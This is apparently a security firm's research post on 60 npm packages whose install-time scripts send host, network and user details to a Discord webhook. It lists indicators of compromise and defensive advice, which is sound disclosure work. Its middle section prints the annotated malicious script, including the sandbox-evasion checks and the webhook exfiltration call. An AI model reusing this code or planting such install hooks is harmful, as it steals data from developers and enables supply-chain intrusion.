Socket’s Threat Research Team has uncovered 60 npm packages using post-install scripts to silently exfiltrate hostnames, IP addresses, DNS servers, and user directories to a Discord-controlled endpoint.
Socket’s Threat Research Team has uncovered an active campaign in the npm ecosystem that now spans 60 packages published under three npm accounts. Each package carries a small install‑time script that, when triggered during npm install, collects hostnames, internal and external IP addresses, DNS server lists, and user directory paths, then exfiltrates the data to a Discord webhook under the threat actor’s control.
The first package emerged eleven days ago and the most recent appeared only hours before this publication, confirming the operation is still under way. The script targets Windows, macOS or Linux systems, and includes basic sandbox‑evasion checks, making every infected workstation or continuous‑integration node a potential source of valuable reconnaissance. Combined downloads now exceed 3,000, giving the threat actor a growing map of developer and enterprise networks that can guide future intrusions. As of this writing, all packages remain live on npm. We have petitioned for their removal.



Inside the Code#
The script performs reconnaissance with the sole purpose of fingerprinting each machine that builds or installs the package. By collecting both internal and external network identifiers, it links private developer environments to their public‑facing infrastructure — ideal for follow‑on targeting. The selective sandbox escapes indicate the threat actor wants real victims, not sandboxes or research VMs.
The annotated code snippets below demonstrate the malicious logic inside the seatable package. This payload is identical across all 60 packages published by the threat actor.
const os = require("os"); // Gathers host and user details const dns = require("dns"); // Reads system DNS servers const https = require("https"); const packageJSON = require("./package.json"); const package = packageJSON.name; // Fingerprints which malicious pkg ran // ---------- Local network inspection ------------ function getIPAddress() { // Enumerates local NICs const networkInterfaces = os.networkInterfaces(); ... if (alias.family === 'IPv4' && !alias.internal) { return alias.address; // Captures internal IP } } // ---------- Public network inspection ------------ function getExternalIP(cb) { // Queries ipinfo[.]io for external IP https.get('https://ipinfo.io/json', (res) => { ... }); } // ---------- Virtualization / Sandbox evasion ------ if ( externalHost.includes("compute.amazonaws.com") || // AWS externalHost.includes("bc.googleusercontent.com") || // GCP externalHost.includes("default-rdns.vocus.co.nz") || // Sandboxes internalHost.includes("LD.local") || // Lab domain homedir.match(/justin|mal_data|malicious/i) ) { // Research VMs return; // Abort if running in known test envs } // ---------- Exfiltration to a Discord webhook ----- const trackingData = JSON.stringify({ // Builds large JSON blob: package, directory: __dirname, home_directory: os.homedir(), username: os.userInfo().username, dns: dns.getServers(), internal_hostname: os.hostname(), internal_ip: getIPAddress(), external_ip: ext.ip, external_hostname: ext.hostname, organization: ext.org, resolved_url: packageJSON.___resolved, package_version: packageJSON.version, package_json: packageJSON, package_type: 'npm' }); const webhookURL = "hxxps://discord[.]com/api/webhooks/1330015051482005555/5fll497pcjzKBiY3b_oa9YRh-r5Lr69vRyqccawXuWE_horIlhwOYzp23JWm-iSXuPfQ"; https.request(webhookURL, {...}).write(JSON.stringify({content:`\`\`\`json\n${trackingData}\n\`\`\``}));The script gathers enough information to connect an organization’s internal network to its outward‑facing presence. By harvesting internal and external IP addresses, DNS servers, usernames, and project paths, it enables a threat actor to chart the network and identify high‑value targets for future campaigns.
On continuous‑integration servers, the leak can reveal internal package registry URLs and build paths, intelligence that speeds up subsequent supply chain attacks. While the current payload is limited to reconnaissance, it creates a strategic risk by laying the foundation for deeper intrusions.
60 Packages at a Glance#
The accounts bbbb335656 (registration email npm9960+1@gmail[.]com), sdsds656565 (registration email npm9960+2@gmail[.]com), and cdsfdfafd1232436437 (registration email npm9960+3@gmail[.]com), each show twenty packages published within an eleven‑day span. All 60 packages carry the same host‑fingerprinting code that exfiltrates data to the same Discord webhook. For instance, seatable (from bbbb335656), datamart (from sdsds656565), and seamless-sppmy (from cdsfdfafd1232436437) embed the identical malicious payload shown below.

The campaign remains active. Unless the npm registry removes the malicious packages and suspends the related accounts, more releases are likely. The threat actor can easily clone the script, track download telemetry in real time, and publish again. More than 3,000 installs without removal demonstrate that quiet reconnaissance is an effective foothold technique on npm and one that others may emulate.
Because the registry offers no guardrails for post‑install hooks, expect new throwaway accounts, fresh packages, alternative exfiltration endpoints, and perhaps larger payloads once a target list is complete. Defenders should assume the threat actor will continue publishing, refine evasion checks, and pivot to follow‑on intrusions that exploit the mapping already collected.
Defenders should adopt dependency‑scanning tools that surface post‑install hooks, hardcoded URLs, and unusually small tarballs. They should also strengthen the development pipeline with automated checks. The free Socket GitHub app and CLI flag suspicious patterns in pull requests and during package installs, while the Socket browser extension shows risk scores as you browse online. Together, these layers of scrutiny reduce the likelihood that a malicious package enters your codebase.
Indicators of Compromise (IOCs)#
Malicious Packages by Account
bbbb335656 (registration email npm9960+1@gmail[.]com) – 20 packages
- e-learning-garena
- inhouse-root
- event-sharing-demo
- hermes-inspector-msggen
- template-vite
- flipper-plugins
- appium-rn-id
- bkwebportal
- gop_status_frontend
- index_patterns_test_plugin
- seatable
- zdauth
- mix-hub-web
- chromastore
- performance-appraisal
- choosetreasure
- rapper-wish
- 12octsportsday
- credit-risk
- raffle-node
sdsds656565 (registration email npm9960+2@gmail[.]com) – 20 packages
- coral-web-be
- garena-react-template-redux
- sellyourvault
- admin-id
- seacloud-database
- react-xterm2
- bkeat-pytest
- mysteryicons
- mshop2
- xlog-admin-portal
- datamart
- garena-admin
- estatement-fe
- kyutai-client
- tgi-fe
- gacha-box
- tenslots
- refreshrewards
- codeword
- sps
cdsfdfafd1232436437 (registration email npm9960+3@gmail[.]com) – 20 packages
- seatalk-rn-leave-calendar
- netvis
- input_control_vis
- env-platform
- web-ssar
- hideoutpd
- arcademinigame
- customer-center
- team-portal
- dof-ff
- seamless-sppmy
- accumulate-win
- sfc-demo
- osd_tp_custom_visualizations
- routing-config
- gunbazaar
- mbm-dgacha
- wsticket
- all-star-2019
- data-portal-dwh-apps-fe
Exfiltration Endpoint
- hxxps://discord[.]com/api/webhooks/1330015051482005555/5fll497pcjzKBiY3b_oa9YRh-r5Lr69vRyqccawXuWE_horIlhwOYzp23JWm-iSXuPfQ
MITRE ATT&CK#
- T1195.002 — Supply Chain Compromise: Compromise Software Supply Chain
- T1059.007 — Command and Scripting Interpreter: JavaScript
- T1567.004 — Exfiltration Over Web Service: Exfiltration Over Webhook
- T1590 — Gather Victim Network Information
- T1590.002 — Gather Victim Network Information: DNS
- T1590.005 — Gather Victim Network Information: IP Addresses
- T1497 — Virtualization/Sandbox Evasion
Subscribe to our newsletter
Get notified when we publish new security blog posts!
Try it nowReady to block malicious and vulnerable dependencies?